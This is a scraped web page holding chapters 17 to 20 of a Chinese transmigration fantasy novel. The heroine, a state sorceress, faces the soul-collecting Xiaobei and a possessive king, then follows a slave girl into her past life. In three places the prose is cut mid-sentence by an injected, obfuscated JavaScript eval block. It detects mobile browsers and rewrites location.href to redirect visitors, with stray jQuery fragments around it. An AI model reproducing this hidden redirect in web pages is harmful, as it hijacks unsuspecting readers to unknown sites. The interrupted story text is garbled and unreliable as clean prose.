卫述刑不上大夫,不像平民犯了重罪会被砍头。 然流放是仅次于砍头的刑罚,如果仅仅是诬陷朝臣,罪不至此。 兰姬答:“孟大人效仿旧朝翊王后,给贺纬插上了叛国的罪名。” “孟大人与贺纬在政见上一向存在龃龉,但是他从未想过构陷对方。直到最近边关来报,犬戎来犯,屠杀卫述边境百姓,孟大人主战,贺纬主和。” “国师大人还记得吗,孟大人是朔国人,”兰姬凝视着叶熙熙,“现下遭犬戎入侵的,正是朔国。” “朔国兵力不足,危在旦夕,孤立无援。倘若君上亦不肯派兵,只怕朔国终将落入犬戎之手。” 犬戎入侵卫述,这个情节叶熙熙不记得在原著中看过,所以不清楚岁梧最终是否会决定派兵。 她比较担心的是,外敌的入侵又会不会加速卫述的瓦解,迫使他向小悲借力,迎来灭世的终局? 叶熙熙觉得自己必须得去王宫一趟。 “兰姬向瓷仙娘娘许愿,愿天下太平,百姓不为外族所欺,女子不为礼法所缚。”兰姬行了最后一礼,“还请国师大人做个见证。” “你的愿望,恕我无法满足。”小悲道,“你求错神了。” 兰姬愕然:“……您之前不是这么说的。” “我说会帮你实现愿望,意为,我会帮你找到真正能实现你愿望的神。”小悲看向叶熙熙,“你看,我不是把她找来了吗?” 叶熙熙一时无言,她怎么也想不到这件事最终会落到自己头上。 不过换个角度想,兰姬许愿未果,小悲便没有理由剥她的魂了。 “这个愿望并非一朝一夕可以实现,”叶熙熙斟酌了一下,对兰姬道,“不如先按我之前说的,你先到我座下当个仙使。” 兰姬并未因为捡回一条命而喜形于色:“所以,瓷仙娘娘也无法实现妾的愿望,对吗?” “如果人的愿望都要靠神来完成,那人活着的意义是什么。”小悲说道。 兰姬却是笑了:“瓷仙娘娘所说的,正是妾所信奉的。” 而后向叶熙熙道谢:“国师大人的再造之恩,妾无以为报,只愿余生尽心侍奉在您左右。” 叶熙熙道:“侍奉就不必了,你去做你喜欢做的事吧。” 她将珠钗物归原主:“安葬的事,你可以自己去做了。” 兜兜转转,珠钗又回到了兰姬手中。 叶熙熙无论如何也想不到,兰姬接过珠钗后,居然毫不迟疑,隔着窗子丢了出去。 “从此尘缘已了。”她如释重负,“妾……我该离开了。” 兰姬并不惧怕天高路远,迈出第一步,便会有第二步,第三步。 余生所遇皆所喜,所喜皆所得。 兰姬走后,顾垣来到她们二人面前,身后还跟着浑浑噩噩的孟昶。 叶熙熙后退一步:“他不是已经死了吗?” 顾垣答:“魂还没剥,尚能驱使肉身。” 孟昶看到小悲,脚步一顿,满目凄凉:“你,都是因为你!” ……这又是哪一出? “若不是你骗我落入歧途,我不会轻易向你许愿,至少不会许这么荒唐的愿望,还搭上了我的命。”不知是控诉还是懊悔。 “早知道能回到过去,我应该回到和贺纬对峙的那天,不,我应该回到更早……”他不住地喃喃,“我应该回到阳惠渠竣工那天。” “不是所有人都有机会重来的。”他神神叨叨的样子似乎取悦了小悲,她故作遗憾,却压不住上翘的唇角,“我偶然经过,目睹你被一剑穿心。我可怜你,所以问你需不需要我的度化。” “我亲眼所见,亲耳所闻,你六神无主,问兰姬是死是活,你说你想要她死。” “所以我将你溯回到开宴之时,甚至给了你三次机会,让你可以亲手杀了她。” “但你不珍惜。” 孟昶看向叶熙熙,好像抓住了救命稻草:“国师大人,你还在,你一定要帮我,这妖女为祸世间,倘若不加以遏制,只怕会有更多无辜的卫述子民毁于她手——” “啪”的一声,孟昶被一巴掌扇歪了脸。 小悲收回手,敛了笑容。 她启唇,却又好像忘了该说什么,下意识看了叶熙熙一眼。 福至心灵:“敢说你爹我是妖女,反了你了!” 叶熙熙:“……” 顾垣:“……” 小悲见两人面色诡异,不免思忖:“老师,我学得不像吗?” 像是受到了某种启发,她左右开弓,又给了孟昶两巴掌。 叶熙熙看不下去了,她觉得自己罪孽深重:“行了,姑奶奶,你抽他干嘛呀,对你又没什么好处。” 你又不是我,必须通过发疯来凹人设。 小悲拍拍她的手,眼神澄澈:“可是抽完以后真的很爽啊。” 叶熙熙差点脱口而出“那必须的”,但是她觉得自己这个时候应该严肃。 不能带坏……小姑娘,虽然小悲的年龄都足够当她太太太太太奶奶了。 小悲见她似乎不是很支持自己,有些不服气:“老师,他骂我是妖女,我很生气,难道我不应该打他吗?” “还是说,您不喜欢我效仿您,”她不知道从哪里冒出来的念头,“如果我改成用鞭子,您觉得如何?” “他骂你,你打他,没问题,”叶熙熙在凌乱中理清思绪,“现在你打完了,该做正事了。” 她背过身去,怕被接下来的场面吓到:“你不是要取他的魂吗,赶紧的吧。” 叶熙熙盯着天边云丝,竭力不去捕捉身后的风吹草动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232474|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没有想象中的凄厉惨叫和反派招牌狞笑,她悄悄向后一瞥,只见孟昶躺在地上,尸体化为一片茵绿。 是青苔,爬满他全身,然后从深浅的裂隙中开出花来。 小悲居高临下注视着那些花,欣赏自己的手笔:“比他原本的样子要美。” 【女配支线任务完成度30%】 叶熙熙听到久违的提示音,心中的石头总算落了地。 小悲不知道她脑海中发生的一切。收获了一朵生魂的她,显然已经在思考下一个猎物了。 叶熙熙想赶在任务间隙去找岁梧,问清楚犬戎犯境一事:“若是没什么事,我先回王宫一趟。” 小悲的眼神忽然变得促狭:“你想他了?” 见叶熙熙一脸莫名其妙,她忍不住笑:“趁他现在还清醒,快去见一面吧。” 末了补上一句:“记得拿上镇雾灯再去。” 叶熙熙不明所以,但小悲是她的任务对象,她的话很有可能是下一个任务的某种提示。 但她错过了小悲眸中一闪而过的戏谑,并且对自己接下来的遭遇一无所知。 …… 叶熙熙从国师府取来镇雾灯,天色已经很晚了,见到岁梧时,他正在擦拭一把剑。 “觋觋?” 岁梧浅笑,放下手里的剑:“你这么晚过来,是知道我孤身难眠,所以特意来陪我的吗?” 他一举一动都尽显从容,眼神净润没有戾气,果然和小悲说的一样,他现在是正常的状态。 叶熙熙便直接问他:“听闻犬戎来犯,你作何打算?” 岁梧言简意赅:“战。” “觋觋可知,犬戎为何在这个时候出兵?” 叶熙熙:“因为卫述新君即位,根基不稳?” “此为其一,”岁梧道,“其二是,有传言称犬戎首领发现了上古神兵,进犯中原屠戮百姓,是为了给神兵开刃。” 叶熙熙觉得自己有点看不明白剧情的走向了。 “传言可信吗?” “可信。所以我决定亲自出征,击退犬戎,抢走神兵。” 他似乎猜到了叶熙熙接下来的话,温柔安抚她:“我有八成胜算,觋觋不要为我担心。” 叶熙熙觉得自己大抵是不需要担心的,只要不是向诸侯宣战,故事便不会走向不可挽回的终局。 她有点后悔没有在穿书前看完所有情节,这个时候,她都不确定自己该如何应对了。 “我有一样宝物想给你看,”岁梧握住她的手,带着不容拒绝的力道,“看过之后,你便知道自己的担心都是多余的了。” 叶熙熙随他一起来到寝殿,见殿内立有一只铜鹿。岁梧稍作摆弄,一声闷响,鹿身下出现一个入口。 两人一前一后进入密道,叶熙熙不曾想到寝殿地下居然另有一番乾坤,十分好奇:“我们这是去哪儿?” 岁梧不言。 叶熙熙心弦一紧,无奈手被岁梧牢牢禁锢住,抽都抽不出。 她平复了一下,心中默默念了个决,可惜无事发生。 她的法力在地下不起作用。 面前的人忽然停下了。 无边黑暗中,她闻到他身上熟悉的松香,而后被抱了个满怀。 “觋觋,”那人说道,“你喜欢听我这样叫你吗?” “还是说,你更喜欢被他这么叫?” 冰冷的手掌掐住她的脸,那亲昵而恶毒的语气令她遍体生寒。 “回答我,老师。” 18. 乱君心 岁梧骗了她。 从她刚一踏入王宫,那个拭剑的人便已披上伪装,掩盖身上的暴戾气息,学着另一个自己叫她“觋觋”,让她放松了警惕。 将她诱骗到暗室之后,他便愉悦地撕破了自己的面具。 叶熙熙抛下他和枢明一起消失的时候,她便应该料想到自己的下场。 恃宠而骄的人,不吃一次苦,是不会长记性的。 君生我未生,她与枢明有前缘,他再如何妒恨,也无力将其抹杀。 但是叶熙熙喜欢上了另一个岁梧。那个妖孽,占据他身体,用他的脸来勾引叶熙熙。 更荒唐的是,那个妖孽居然真的骗走了她的吻、她床榻上的温暖、她的宽容和偏爱。 而他还原地步履维艰,连一个眼神都得恳求她施舍——明明都是同一副样貌,他究竟差在了哪里? 不,他不该将一切归咎于自己。 罪孽深重的,明明另有其人。 岁梧闭上眼睛,贴着她的发丝,沉溺于她破碎的呼吸。 叶熙熙是紧张的。 她早该想到,这间地下暗室,不正是原著里岁梧囚禁女主的地方吗? 原著中,女主发现岁梧意图囚禁自己,哭得梨花带雨,结果可想而知,岁梧不仅没有心软,反而放任了自己内心深处的暴虐。 叶熙熙当然不会哭,她短暂地权衡了一下,在抽他一巴掌和朝他输出国粹之中,选择了第三条路。 “你真野,”她听见自己这样说,顺便拍了拍他的脸颊,“我喜欢。” 岁梧:“…………” 叶熙熙由衷佩服自己,哪怕说出如此油腻的台词,依旧面不改色。 她始终坚信,只要她不尴尬,尴尬的就是对面。 她在黑暗中摸索他的身体,察觉到对方的僵硬,按想象中的样子邪魅一笑:“怎么还害羞了,这不正是你想要的吗?” 游走作乱的手被一把捉住:“……够了。” “你够了,我还不够。”重新掌握主动权的滋味不要太美妙,叶熙熙对付他已经游刃有余。 “岁梧,我心悦你。” 衣料簌簌的声音,似乎是腰带掉落在地上。 “岁梧,我真的好欢喜。” 一箩筐的情话,丢出去像是不要钱。 面前人忍不住乱了呼吸。 这是她第一次尝试的温度,她从前为这一步有过很多浪漫设想,虽然此时的情景与她的幻想完全不沾边,但她仍然觉得无比新奇。 现在一切都由她来主导,包括面前的这个人。 他依旧僵硬地强撑着,但是如果此时有一束光照进来,她便能看到他未被遮掩的泛红和炽热。 “岁梧——” “别说了。” “——我好爱你。” 她附在他耳边,把话说完了。 激烈在一瞬间登上顶点,岁梧闷哼一声,而后陷入余韵后的沉默。 她一贯如此,嘴上说爱。但爱是多么浓烈又甜蜜的情感。 她的那些情话,都如落叶浮于止水,惊不起一丝涟漪。 都是假的,却可笑地使他内心地动山摇。 ……于是他又输了。 叶熙熙捡起地上的腰带,把指尖的黏腻擦干净。 “还想要什么?”她问他。 岁梧闷闷地:“你对别人也这样过吗?” “只有你一个。”她想起他介怀的点,补上一句,“只有现在站在我面前的你。” 可是面前的人并未动容。 叶熙熙心道他可真难哄,她将沾染上污渍的腰带为他系好,问他:“那君上呢,是否有别的女子,也让君上有过这般欢愉?” “明知故问,”哪怕知道她惯会说些甜言蜜语欺骗他,岁梧此刻还是忍不住心软,“在老师心里,我们现在到底是什么关系?” 叶熙熙只管捡他爱听的说:“是谈情说爱的关系。” “老师,”他问,“你可不可以嫁给孤?” “凡人的一生很短暂,孤只想留你在王宫中待几十年,答应做孤的夫人,好不好?” 叶熙熙能想象出他像小狗一样湿漉漉的眼睛,摇着尾巴期待她的答复。 “看你表现。” “如果你动了歪心思,想把我关在这里,害我完不成仙庭交代的任务,”她戳着他的心口,“你便等着孤独终老吧。” …… 虽然周围没有云雾,但镇雾灯在黑暗中同样有效。 叶熙熙把岁梧扔在暗室,独自离开了。 陌生的一户人家,小悲坐在屋里,见她飘然而至,嬉笑:“比我预想中的要快不少。” 叶熙熙对她的恶作剧已经见怪不怪了:“骗我很有意思吗?” 倘若不是小悲一开始对她说,岁梧还是正常状态,她也不会先入为主,放松警惕,结果被岁梧的伪装给糊弄了。 “我只是想帮你们,莫要辜负了我的一片好心。”小悲道,“看见你和岁梧情投意合,我委实替你们高兴。” “你之所以高兴,是因为你与少觋有仇,而少觋与岁梧两情相悦,结果现在被我顶替了。”叶熙熙冷笑,“但我对你们之间的爱恨 情仇不感兴趣,我只是被困在了这里,总有一天我会回到我该在的地方。” “你跟少觋一样自以为是,”小悲笑了,“谁跟你说,少觋与岁梧两情相悦了?” 她忽然浮夸地捂住双唇:“哎呀,真不小心,说漏嘴了。” “瓷仙娘娘……”有人进门来,看到小悲同叶熙熙在一起,不免惊讶,“国师大人,您也来了?” 是兰姬,跟在她后面的是一个陌生女子,粗衣烂衫,眉间两颗红痣妖异刺目。 “我跟她说,这里有一个女子需要帮助,所以她便随我一起来了。”小悲解释完,盯着那陌生女子,在叶熙熙耳边低语,“如你所见,这便是我要找的第二朵生魂。” “见过瓷仙娘娘,国师大人。”似是从未想过自己的一间破屋能招来两位神仙,女子有些局促不安,“奴名阿依。” 叶熙熙一见她额上的红痣,便知她已是小悲的盘中餐。 她问阿依:“你许了什么愿?” 女子道:“阿依生下来便是奴隶,无父无母,毕生最大的幸事便是遇到世子。” “世子不嫌弃阿依身份卑贱,让阿依能吃饱饭,有新衣服穿,还教阿依识字、读书,世子的恩情,阿依无以为报。” “但是现在世子染了重疾,请了无数巫医来看,都说世子活不过秋天。”阿依给她们二人下跪,“所以阿依想求瓷仙娘娘、国师大人,让世子康复。” 兰姬连忙扶她起来。 “这不难,”小悲的一句话,让阿依心中的石头落了地,“但是你要知道,你们世子的这场病不是无缘无故的;而他处处对你好,也不仅仅是因为他心善。” “还有,你难道从来不好奇,为何你出生便是奴隶,无父无母,而有的人一出生便是荣华富贵,集万千宠爱于一身?” 阿依茫然:“您说的,阿依听不懂。” “没关系,你不懂,我便讲给你听,”小悲笑容更深,“你前世是旧国魏氏宗女,亦是翊妇人身边的细作。你奉翊夫人之命,捏造养父魏常通敌的证据,害他枉死。” 阿依虽然愚钝,却也能听懂最后那句话,惊惶道:“阿依前世害死了人?不,瓷仙娘娘您要相信阿依,阿依从不敢做坏事,连鸡都不忍心杀,更何况是人呢!” “可是前世的你,双手的确沾满了鲜血,”小悲目光悯然,“魏常不过是其中之一。” “你今生之所以过得苦不堪言,便是因为你前世多行不义。” “同样,你们世子之所以年纪轻轻身患重病,也是因为前世杀孽太重,都是报应。” “而他这一世之所以对你好,是因为上一世,你们钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245965|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情于彼此,奈何有缘无分,于是许下诺言,要在这一世再续前缘。” 阿依有些茫然,似乎不知道她这番话意欲何为。 “我会帮你回到前世,”小悲说道,“去纠正一切。不要杀人,也不要让你们世子杀人,这样,今生的你会过得好一些,而他也不会短命而亡,明白了吗?” 阿依点点头。 叶熙熙却道:“为什么前世做错的事,要让今生来背负呢?” 小悲反问:“那依老师所见,前世和今生应当是什么关系?” “我没有说这种因果是错误的,”叶熙熙解释,“道理是这样的道理,我只是觉得不太公平。” “道理……”小悲笑道,“其实在我看来,人的前世今生是没有任何关联的。” 她方才还跟阿依说要纠正前世的因,才能换来今生的善果,现在又说人的前世今生没有关联,显然前后矛盾。 “不过说回阿依的事,”小悲看向兰姬:“兰姬,你身为太史之女,应当了解旧朝翊夫人的生前事吧。不如跟我们略讲一二?” 兰姬颔首:“翊夫人是旧国最后一任国君的妻子。旧国的国君昏庸无能,但他的夫人却天生将才,曾三次讨伐猃狁,也就是如今的犬戎。但最终因为无所出,被国君厌弃,自缢而亡了。” 叶熙熙忽然想到枯井中那位旧朝的亡国太夫人,她口中那位战功赫赫,却又令她愧对的儿媳,该不会就是翊夫人吧? “然而翊夫人真正死因,后世众说纷纭,”兰姬继续道,“父亲就曾说,翊夫人不会让自己囿于男女情爱,她的眼里是天下江山,若说她是对国君心灰意冷而自杀,着实辱没了她。” “也有人说,翊夫人是畏罪自杀。而这项罪名,便是陷害将军魏常叛国通敌。” 话落,叶熙熙有了些印象。之前谈及孟昶和贺纬的恩怨,兰姬就曾说过,孟昶是效仿了翊夫人,为贺纬插上了叛国的罪名,只可惜最终败露,惹来了杀身之祸。 兰姬道:“其实我也更相信后者,只是当年之事,并未有一个定论,几百年后的我们也只能做些猜测罢了。” “而说起这位魏常魏将军,他是旧国的一员大将,曾深入猃狁部族三年,最终提着部族首领的项上人头凯旋而归。唯一的败笔,便是他归来时,带回了一个猃狁少年。” “传言说魏常在猃狁潜伏时便与少年交好,能够从猃狁全身而退,也多亏少年从旁协助。但少年毕竟是猃狁人,将其带回中原实在可疑。” “所以当翊夫人发现他和猃狁有私下往来,以叛国之罪处死他时,众人都站在了翊夫人这边。” “但是魏常死后,他的属下查出那些叛国罪证是为有心人所伪造。魏常平生不曾树敌,唯一与有过争端的便是翊夫人。两人常常在作战方面意见相左。” “所有矛头便指向了翊夫人,然而不出一年,翊夫人自缢而亡,两年后旧国覆灭,从此再无人知晓当年的真相。” 兰姬讲了许多史实国事,阿依听完十分懵懂。 小悲将她的呆滞收入眼底,转而对叶熙熙道:“她这一世有些笨,即便给她重来一次的机会,也只怕是白白浪费了。” “不如就辛苦一下老师,陪她一起去。” 叶熙熙早就知道自己身为主角的宿命。像这种跟着支线任务npc跑前跑后的事情,她有心理准备。 “其实我还有一事很好奇,”小悲忽然问她,“老师知道岁梧是燧乌的转世后,有没有想过这意味着什么?” 叶熙熙没想到话题会忽然落到岁梧身上:“意味着什么?” 可能是因为燧乌对抗灾殃,守护部落,给自己积累了不少功德,所以他的转世有福泽庇佑,生来便是贵命,坐拥天下。 “人的可悲之处在于执迷不悟,即便转世成为一个完全不同的人,灵魂也依旧会重复之前的选择。” 在她浸身于回溯阿依前世的长河中时,小悲如是说。 19. 第 19 章 “国师大人,国师大人?” 落日熔金,入目是一片沙地尘烟,马蹄踏着震颤的大地,混着阿依焦急的呼唤声,让叶熙熙渐渐回神。 急促的马蹄声停下,异族少年翻身落马,走到她们二人身边,他眼下有一道极浅的刀疤,操着一口生硬的汉话:“你,怎么,来?” 阿依自从来到这里,一身褴褛换作甲衣羽盔,就连眉眼也英气了些。 她圆睁着眼,似是不敢与眼前人相认:“世子?” 说着就要下跪。 叶熙熙连忙把人拦住,捂住阿依的嘴,在她耳边小声提醒:“他是你那位世子的前世,别乱叫。” “……”阿依一脸惶恐,她小心翼翼地碰了一下叶熙熙的手,拼命摇头。 在她眼里,叶熙熙身份尊贵,不能越了规矩,对她一个奴隶举止亲昵。 待嘴巴恢复自由,她急忙跪在叶熙熙面前:“国师大人,奴失礼了,求国师大人赦罪。” 异族少年惊讶地看她下跪,朝着一团空气喃喃自语。 叶熙熙有些头疼。 这应该是她穿书以来最难带的npc。 好在这里的人都看不见她,她搀起都成筛子的少女,叮嘱她:“阿依,你现在是将军之女,你见过哪个将军的女儿自称奴,还动不动就下跪吗?” 阿依愣了好一会儿,才渐渐明白自己现下的处境。 “别忘了你回到前世是为了什么,”叶熙熙提醒道,“你现在要好好扮演魏将军的养女,翊夫人的细作,但是你不能杀人,也不能让他,”她朝异族少年扬扬下巴,“你家世子的前世,杀人,记住了吗?” 阿依点点头,似乎是记住了。 异族少年炯炯注视着阿依,张了张嘴,奈何没学过几句汉话,连一个字都挤不出来。 但是他的脸很快浮上一层绯红,学着阿依的样子,面朝落日下跪,说了些她们听不懂的话。 叶熙熙:“……” 话落,少年起身,对阿依郑重道:“你,我,好。” 阿依显然还不适应身份的变化,还是一副唯唯诺诺的模样,但好歹能忍住不跪人了:“……您在说什么,阿依听不懂。” “漪姑娘,可算把您找着了,”一声叫喊打断了他们,年长的宫人匆匆上前,对阿依行礼,“君夫人召见您呢。” “我该走了,”在叶熙熙的提醒下,阿依连忙和异族少年告别,“我还会来看您——你的。” 少年眼睛明亮如星子,似乎听懂了她的话,微微一点头。 离开马场,宫人将她们三人带到一处偏殿,同里面的人通报了一声,便退下了。 阿依偷偷往殿内一望,一道彩漆屏风隔绝了她的视线。从雕花镂空之中,隐约可见一个女子的身影。 “魏漪。”夫人唤她,声音清冷,不怒自威。 阿依有些害怕,好在还有一个隐形的叶熙熙在背后扶着,这才一步一步走到屏风前:“见过君夫人。” “你见过他了?” 阿依愣了一会儿,才想明白这个“他”是指何许人也。 “是。” 片刻,浅淡的声音飘出屏风:“他最近如何?” 这个“如何”,问的肯定不是浮于表面的事,但该怎么回答,阿依和叶熙熙都没有头绪。 她只能硬着头皮答了个“一切如常”。 意料之中,夫人对她的回复十分不满:“魏漪,我让你监视魏常和木姜已有一年,我想听的不是简简单单一句‘一切如常’。” 叶熙熙思忖,翊夫人把魏漪安插在魏常身边,究竟是为了监视他,还是想趁他不注意,把叛国的伪证藏在他身边? 看阿依深深地低着头,像个做错事的孩子,夫人顿了顿,居然笑了:“罢了。我记得嘱咐过你,要好好练骑射,最近可有长进?” 叶熙熙心道不妙,阿依从来没碰过弓箭,这会儿要是让她展示,肯定会露馅。 却不想阿依竟应下了:“回夫人的话,有长进。” 夫人颔首:“明日便是燕射礼,莫要辱没你将军之女的身份。” 说曹操曹操到。宫人禀报:“夫人,魏将军请见。” “你先退下吧。”夫人对魏漪说完,吩咐宫人宣魏常进来。 阿依低着头,乖乖走到殿外,眼看就要和魏常迎面碰上,叶熙熙把她拽到一边,示意她藏好。 两人屏住呼吸,偷听殿内的谈话。 “……为探查其下落,臣请再赴猃狁。” 夫人只说了两字:“不准。” “夫人,倘若神兵落入猃狁部族之手,天下必定大乱。”魏常坚持,“如今西北边境不宁,南有卫述虎视眈眈,倘若没有神兵破局,我朝只怕岌岌可危。” “你若顾忌猃狁,便率兵去讨伐;你若担心卫述,便向国君请命出使南下。”翊夫人道。 “夫人为何不肯考虑臣的提议?”魏常的声音中透着薄怒,“得神兵者得天下——” “放肆。”翊夫人冷冷打断他,“好一个得神兵者得天下,敢问将军,我朝历代君主难道是都靠神兵建功立事的?我朝征伐猃狁数十载,即便没有神兵,照样打得猃狁丢盔弃甲。” 她讥讽道:“魏将军是个有主意的人,从前不惜违抗军令,深入猃狁部族调查神兵之事。现在想必也不会将我的话放在心上。” 魏常连忙解释:“臣是奉君上之意——” “别以为把那昏君搬出来,我便奈何不了你了。”翊夫人厉声道,“昏君沉溺巫风,最信鬼神之事,你糊弄得了他,糊弄不了我!” 良久,她轻叹一声:“你是朝中为数不多的将才,切忌怪力乱神。退下吧” 叶熙熙在殿外陷入沉思。 神兵,这是她第二次听到这个词了。 魏常深入猃狁部族三年,原来是为了调查神兵,看来神兵还在猃狁那边,但不知是何缘故,至今尚未有人令神兵现世。 数百年后,猃狁变为犬戎,旧国已成为卫述的地盘,犬戎犯境,岁梧也说是和神兵有关。 叶熙熙缓缓点头,这个神兵,看来同主线相关啊。 “国师大人,”阿依小心翼翼地问,“他们在说什么呀?” “没事,与你的任务无关。”叶熙熙道,“倒是你,方才翊夫人问你骑射,你怎么敢直接应下?你可知道燕射礼是什么,到时候让你同其他人比赛狩猎,你会暴露的。” “请国师大人赦罪,”阿依连忙摆摆手,倒有几分娇憨,“阿依也不知道为什么,但阿依脑子里确实知道骑射是怎么一回事,而且阿依知道自己一定会很擅长。” 难道是前世的能力觉醒了? 叶熙熙领她到马场,递给她一把弓:“你先射一箭我看看。” 阿依点头如捣蒜,接过弓,扣箭,提弦,动作行云流水,最后扬起臂膀,朝穹顶射出一箭。 嗖! 一只雁鸟应声落地。 “厉害啊,”叶熙熙可算是开了眼了,“那你再骑个马试试?” 阿依翻身上马,大喝一声,绕着沙地驰骋一圈,回到叶熙熙身边:“国师大人,你看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256531|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真的会骑马了!” 马上的她英姿飒爽,奈何一下来便原形毕露,笑容中带着几分傻气。 “的确身手不凡,”叶熙熙从不吝惜夸奖她,“明天好好表现,我看好你。” “国师大人,明天阿依射中的猎物越多便越好吗,”阿依迟疑,“会不会抢了别人的风头?” 叶熙熙思忖:“依我所见,你是魏将军的女儿,封爵是早晚的事,而且翊夫人看重你,你不必瞻前顾后,” “不过你也别把话说太早,”她正色道,“你怎么知道自己会是燕射礼上最厉害的那个?还担心抢了别人的风头,阿依,你好狂啊。” 阿依听出她的戏谑之意,有些不服气:“明天,阿依会让国师大人刮目相看。” …… 第二日,正逢秋收之礼,国君宴飨诸位王侯大臣,推杯换盏,宴毕,行燕射。 叶熙熙渐渐发现了当透明人的好处,酒宴上趁无人注意,偷喝了许多甜酒。 她坐在高台上,看诸位王侯换上骑装,翻身上马,跃跃欲试。 阿依也在其列,长发高束,背后的青铜箭簇寒光初现。 旌旗于风中猎猎,叶熙熙左顾右盼,在一众女眷中不见翊夫人的影子。 她没有来吗? 一声箭鸣没入树干,射礼开始。 马蹄声四起,阿依的身影没入林中。 叶熙熙连忙跟了过去。 四周静谧,狩猎之人似乎都已行至林深处。 又走了一会儿,她隐约听到一阵窸窸窣窣,正欲循声过去—— “国师大人!” 阿依站在她身后,抖了抖手中两只野兔。 叶熙熙朝她一笑,而后回过头,不知为何,方才的窸窣声消失了,她一时也无法判断其方向:“刚刚你听到声音了吗?” “什么声音?”阿依越过凌乱的枝叶来到她身边,四下张望,“许是有野物经过,发现有人便跑掉了。” 四周再度陷入沉寂,叶熙熙抛下方才的异样,拿来那两只野兔瞅了瞅:“这么快就有收获了?” “那是自然。” “这林子里除了野兔,还有什么别的动物?” “有鹿,还有獐子。”阿依将兔子用绳索串起来,挂在马背上,而后翻身上马,朝她伸出手,“国师大人,您上来吧,骑马要快一些。” 叶熙熙道了声好,刚把手递给她,便见阿依神色一凝,大喊:“小心!” 其实不需她说,叶熙熙都能感受到,有两道灼热的视线正在盯着自己的后背。 一个庞然大物从树后中现身,低吼一声,凶光毕现。 是熊。 叶熙熙瞬间想到了躺倒装死,但很快反应过来自己不是这个时空的人,熊应该感觉不到她的存在。 而阿依—— 她沉着得令人陌生,扬起臂膀,眯起右眼,箭簇瞄准向她们逼近的猛兽。 一箭射出,正中熊的眼睛。猛兽吃痛,嘶吼声不绝于耳,引得大地震颤,然而它非但没有停下,反而发疯一般朝阿依奔来。 熊被激怒了。 横空一声哨响,熊的脚步戛然而止。 像是听到某种召唤,它忽然立起身来,朝天空发出一声嘶吼。 说时迟那时快,阿依抽刀,对准熊暴露出的胸部,一刀插进它的心脏。 熊倒地之时,一个轻盈的身影落在熊背上,是异族少年木姜。 方才沉着冷静、临危不惧的阿依顿时变回了那个讷讷的少女:“世……您怎么来了呀?” 20. 死相守 燕射礼上,阿依猎得一熊两兔,在一众王侯中拔得头筹。 回去的路上,她面带春风,紧紧攥着手中的木簪。 叶熙熙一直跟在她身边,自然明白她的欢喜,不仅是因为她的射艺得到众人钦佩,更是因为木姜离开之前,送给了她一枚木簪。 “国师大人,”阿依宛如怀春少女,“阿依现在开始相信,人的前世今生总会遇到同样的事,阿依第一次遇见世子时,他也送了阿依一根簪子。” 叶熙熙对小情侣之间的腻腻歪歪不感兴趣,但阿依想跟她倾诉,她暂且愿意做个听众。 阿依喃喃道:“有时阿依忍不住想,世子身份尊贵,怎么会留意一个不起眼的奴隶,但是现在阿依相信了,因为世子前世便将阿依放在了心上。” 她停下脚步,凝视着手中的木簪:“阿依会好好珍惜这段缘分。” 不远处隐约有人走来,是翊夫人身边的宫人。 “漪姑娘,夫人有请。” 叶熙熙方才还好奇她为何没有在燕射礼上露面,没想到这么快她便派人来了。 二人在宫人的引领下,再度来到偏殿。还是熟悉的彩漆屏风,但这一次,夫人声音显然柔和了不少。 “魏漪,听闻你在燕射礼上猎到了一头熊,你果然没令我失望。” 阿依毕恭毕敬地谢过,而后听她继续道:“此番叫你来,有一件事要交代于你。” “四年前,君上从占卜中得知,国之西北不日将有神兵现世,传说是上古时期神魔交战时,天人遗落在凡间的一柄神剑。” “君上欲求之,魏常便主动请缨,”夫人轻嗤一声,“他背着我前往猃狁,打着讨伐的幌子,而后佯装被俘,潜入猃狁部族查探神兵的下落,这一去就是三年。” “从前他入我麾下征讨猃狁时,可从未见他有这般勇猛无畏。” “这魏常回来之后,说自己找到了神兵下落,得到了君上的赏识。他们本想带兵再赴猃狁,找到破解封印之法,但被我拦下了。” “魏漪,你听听,神兵、封印,”夫人轻笑,“君上一心想要平定天下,却不求诸己,反求诸鬼神,何其荒唐。” “但他们骗得了君上,骗不了我。魏常有他自己的算计,而他带回来的那个猃狁人,木姜,也并非看上去那般单纯。”她道,“过去一年,我命你监视他们二人,虽未发现什么可疑行迹,但是现在,魏常已经按捺不住,求君上肯许他们二人再赴猃狁,取回神兵。” “君上和太夫人都在向我施压,我只能退一步,”屏风后的人轻声叹道,“魏漪,你不日便随魏常木姜一同深入猃狁。” “我晚几日亦会启程,等到了边关,我们暗中会合。” 从偏殿出来后,阿依惴惴不安。 